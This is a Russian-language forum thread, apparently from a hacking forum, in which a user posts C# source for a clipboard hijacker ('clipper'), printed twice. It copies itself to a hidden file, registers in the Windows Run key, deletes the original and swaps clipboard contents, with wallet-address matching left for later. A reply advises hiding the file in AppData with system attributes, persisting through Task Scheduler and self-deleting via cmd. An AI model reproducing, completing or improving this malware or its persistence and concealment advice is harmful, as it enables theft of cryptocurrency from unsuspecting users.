q задроты, решил накалякать клиппер на C#, обращаюсь к вам за советом. Проверку на кошель потом допилю, тут помощь не нужна. Все CW потом офк уберу. Как лучше написать копирование проги в какую-то директорию, что-бы можно было удалить загруженный файл? Нужно ли для этого форсить админ права?(на сколько знаю, это через манифест делается). Любые советы или замечания будут учтены и полезны. ЕЩКЕРЕ using System; using System.IO; using System.Reflection; using System.Windows.Forms; using Microsoft.Win32; class Program { [STAThread] static void Main() { AddToStartup(); string exePath = Assembly.GetExecutingAssembly().Location; string targetPath = @"C:\Users\Artechk\Desktop\cliptst.exe"; // prog destin if (!File.Exists(targetPath)) { try { File.Copy(exePath, targetPath); Console.WriteLine("Program copied to the specified location."); File.SetAttributes(targetPath, FileAttributes.Hidden); Console.WriteLine("Program file set as hidden."); System.Diagnostics.Process.Start(targetPath); Console.WriteLine("Program started from the new location."); File.Delete(exePath); Console.WriteLine("Original program deleted."); Application.Exit(); } catch (Exception ex) { Console.WriteLine("An error occurred: " + ex.Message); } } else { Console.WriteLine("Program already exists in the specified location."); } string yourText = "321"; while (true) { string d = Clipboard.GetText(); System.Threading.Thread.Sleep(500); if (d == "123") { try { Clipboard.SetText(yourText); } catch (System.Runtime.InteropServices.ExternalException ex) { ShowErrorForm(); } } } } public static void AddToStartup() { try { string exePath = Application.ExecutablePath; string appName = Application.ProductName; using (RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true)) { key.SetValue(appName, exePath); Console.WriteLine("The program was added to startup successfully."); } } catch (Exception ex) { Console.WriteLine("An error occurred: " + ex.Message); } } static void ShowErrorForm() //for test { Form errorForm = new Form(); errorForm.Text = "Ай-яй-яй"; errorForm.FormBorderStyle = FormBorderStyle.FixedDialog; errorForm.StartPosition = FormStartPosition.CenterScreen; errorForm.Height = 150; Label label = new Label(); label.Text = "Произошло что-то нехорошее..."; label.AutoSize = true; label.Location = new System.Drawing.Point(20, 20); errorForm.Controls.Add(label); Application.Run(errorForm); } } CSHARP using System; using System.IO; using System.Reflection; using System.Windows.Forms; using Microsoft.Win32; class Program { [STAThread] static void Main() { AddToStartup(); string exePath = Assembly.GetExecutingAssembly().Location; string targetPath = @"C:\Users\Artechk\Desktop\cliptst.exe"; // prog destin if (!File.Exists(targetPath)) { try { File.Copy(exePath, targetPath); Console.WriteLine("Program copied to the specified location."); File.SetAttributes(targetPath, FileAttributes.Hidden); Console.WriteLine("Program file set as hidden."); System.Diagnostics.Process.Start(targetPath); Console.WriteLine("Program started from the new location."); File.Delete(exePath); Console.WriteLine("Original program deleted."); Application.Exit(); } catch (Exception ex) { Console.WriteLine("An error occurred: " + ex.Message); } } else { Console.WriteLine("Program already exists in the specified location."); } string yourText = "321"; while (true) { string d = Clipboard.GetText(); System.Threading.Thread.Sleep(500); if (d == "123") { try { Clipboard.SetText(yourText); } catch (System.Runtime.InteropServices.ExternalException ex) { ShowErrorForm(); } } } } public static void AddToStartup() { try { string exePath = Application.ExecutablePath; string appName = Application.ProductName; using (RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true)) { key.SetValue(appName, exePath); Console.WriteLine("The program was added to startup successfully."); } } catch (Exception ex) { Console.WriteLine("An error occurred: " + ex.Message); } } static void ShowErrorForm() //for test { Form errorForm = new Form(); errorForm.Text = "Ай-яй-яй"; errorForm.FormBorderStyle = FormBorderStyle.FixedDialog; errorForm.StartPosition = FormStartPosition.CenterScreen; errorForm.Height = 150; Label label = new Label(); label.Text = "Произошло что-то нехорошее..."; label.AutoSize = true; label.Location = new System.Drawing.Point(20, 20); errorForm.Controls.Add(label); Application.Run(errorForm); } }
Ну как минимум для добавление в автозапуск лучше использовать планировщик задач, как вариант файл можно прятать где-то в Romaning/Local папках системы, при этом повешав на них системное скрытие
Как вариант: Выбираешь путь куда будешь копировать сам файл -> сохраняешь его в переменную -> копируешь файл (учитывай совет на тему атрибутов выше) -> добавляешь задачу в планировщик задач (запуск условно каждую минуту, если сейчас не запущено) -> [если финальная точка - рандомная] записываешь условно в реестр, что всё что нужно уже сделал и более выполнять эти действия не нужно -> закрываешь текущий файл (можно при помощи cmd закрыть и удалить файл).